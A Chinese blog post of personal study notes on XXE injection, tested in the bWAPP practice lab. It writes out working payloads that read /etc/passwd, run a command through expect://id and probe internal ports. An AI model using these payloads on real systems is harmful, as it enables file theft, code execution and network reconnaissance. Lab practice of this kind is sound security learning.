0%

xxe练习

xxe

学点关于xxe的知识,具体从红日安全这篇文章来学

xxe目前我觉得就是通过外部xml的声明,在使用的时候注入内容,达到目的

具体payload先保存一份

1.1 读取任意文件

PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件,还可利用PHP伪协议。

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>

<hhh>&f;<hhh>

XML在各语言下支持的协议有:
img

1.2 执行系统命令

这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://id">
]>

<hhh>&f;<hhh>

1.3 探测内网端口

可根据返回信息内容判断该端口是否打开。若测试端口返回“Connection refused”则可以知道该端口是closed的,否则为open。

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

按照输出信息分为正常,报错,Blind xxe,跟sql注入类似吧

利用bwapp进行过测试,先选择xxe-low等级测试,确实跟文章一样,具体我就不截图了

1
<reset><login>bee</login><secret>Any bugs?</secret></reset>

这里有两个元素,就注入这其中一个,文中用第一个,我就用第二个,也是可以成功的,这里用来探测端口开放性

1
2
3
4
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.1.105:22">
]>
<reset><login>bee</login><secret>&Quan;</secret></reset>

22端口是开放的,他的信息与未开放端口回显不一样

在比如,读取任意文件,读取/etc/passwd

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>

<reset><login>&f;</login><secret>Any bugs?</secret></reset>

同样也是可以成功

blind xxe需要配合读取日志,这里没有文件包含不做尝试,暂时先放着

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/d5c9598b/
版权声明:转载请注明出处!